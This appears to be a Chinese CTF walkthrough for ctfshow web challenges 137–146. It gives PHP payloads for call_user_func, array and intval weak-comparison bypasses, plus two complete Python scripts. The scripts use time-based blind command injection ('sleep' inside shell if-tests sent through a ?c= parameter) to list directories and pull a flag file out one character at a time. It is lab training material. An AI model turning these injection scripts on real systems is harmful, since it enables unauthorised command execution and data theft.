- web137
- web138
- web139
- web140
- web141
- web142
- web143
- web144
- web145-146
解答:需要调用ctfshow类里的getFlag方法。 call_user_func()
payload-post:ctfshow=ctfshow::getFlag
解答:限制了冒号,上题的函数截图里还有一个方法,就是通过数组传递。 payload-post:ctfshow[0]=ctfshow&ctfshow[1]=getFlag
解答:利用web136的方法不行,没有写入权限了。 ?c=ls;sleep 3
确实等待了一会,可以执行,没有回显,命令盲注。 这个命令盲注就比较麻烦,因为限制了一些特殊字符,所以盲注的payload也需要注意。
反引号–把命令的返回值放到if判断里。
if [ `ls / -1|awk 'NR==1'|cut -c {} ` = b ];then sleep 2;fi
字符可以不加双引号。-和_会有异常情况,所以可以加上双引号
wp两个命令盲注脚本 1)ls根目录:
import requests
import time
import string
str=string.ascii_letters+string.digits+'_~'
result=""
for i in range(1,10):#行
key=0
for j in range(1,15):#列
if key==1:
break
for n in str:
#awk 'NR=={0}'逐行输出获取
#cut -c {1} 截取单个字符
payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
#print(payload)
url="http://873b2081-3b04-4517-a10d-dcb44382c44c.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
if n=='~':
key=1
result+=" "
#找到flag:/f149_15_h3r3
2)获取flag。
import requests
import time
import string
str=string.digits+string.ascii_lowercase+"-"
result=""
key=0
for j in range(1,45):
print(j)
if key==1:
break
for n in str:
payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#print(payload)
url="http://b76bf2c7-70e7-401f-a490-f5963e74b581.challenge.ctf.show/?c="+payload
try:
requests.get(url,timeout=(2.5,2.5))
except:
result=result+n
print(result)
break
web140
解答:根据代码可知,f1和f2必须是字母和数字。if判断是弱等于,需要intval($code)
的值为0。
intval() 成功时,返回参数的 integer 值,失败时返回 0。空的 array 返回 0,非空的 array 返回 1。 字符串有可能返回 0,取决于字符串最左侧的字符。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。
所以需要$f1($f2());
的返回值,或者是字母开头的字符串,或者是空数组,或者就是0,或者FLASE。
payload1: system(system())—> f1=system&f2=system
string system( string $command[, int &$return_var] )
:成功则返回命令输出的最后一行,失败则返回 FALSE 。system()必须包含参数,失败返回FLASE;system(‘FLASE’),空指令,失败返回FLASE。
payload2: usleep(usleep())—> f1=usleep&f2=usleep
usleep没有返回值。 所以intval参数为空,失败返回0
payload3: getdate(getdate())—> f1=getdate&f2=getdate
array getdate([ int $timestamp = time()] )
:返回结果是array,参数必须是int型。所以getdate(getdate())---->getdate(array型)—>失败返回flase,intval为0。
解答: \W
:与任何非单词字符匹配。就是除了数字、字母、下划线。等价于[^A-Za-z0-9_]
[^xyz]
:一个否定的字符集
这里可以测试一下: v1和v2要求是数字,v3我们就需要构造函数了。
1)这里先看一下三者组合到一起会不会影响函数执行。
php里数字可以和命令可以进行运算。也就是说v3里要执行的函数前后加上运算符即可。
举例理解一下:1-phpinfo()-1
的结果为0,phpinfo()执行成功返回true,1-1-1=-1。
同理system()
也可执行。具体可参照前面题目里的弱类型比较。
在之前的刷题中,有遇到过变量传递函数名、类名的,比如web109里的$v1($v2());
,所以函数名也可以用如('phpinfo')
来表示。
2)接下来就可以构造字符了,也可以手动构造。
这里把web71的rce_or的php代码修改一下,就能用。 生成rce_or.txt文件。
关注
打赏
最近更新
- 深拷贝和浅拷贝的区别(重点)
- 【Vue】走进Vue框架世界
- 【云服务器】项目部署—搭建网站—vue电商后台管理系统
- 【React介绍】 一文带你深入React
- 【React】React组件实例的三大属性之state,props,refs(你学废了吗)
- 【脚手架VueCLI】从零开始,创建一个VUE项目
- 【React】深入理解React组件生命周期----图文详解(含代码)
- 【React】DOM的Diffing算法是什么?以及DOM中key的作用----经典面试题
- 【React】1_使用React脚手架创建项目步骤--------详解(含项目结构说明)
- 【React】2_如何使用react脚手架写一个简单的页面?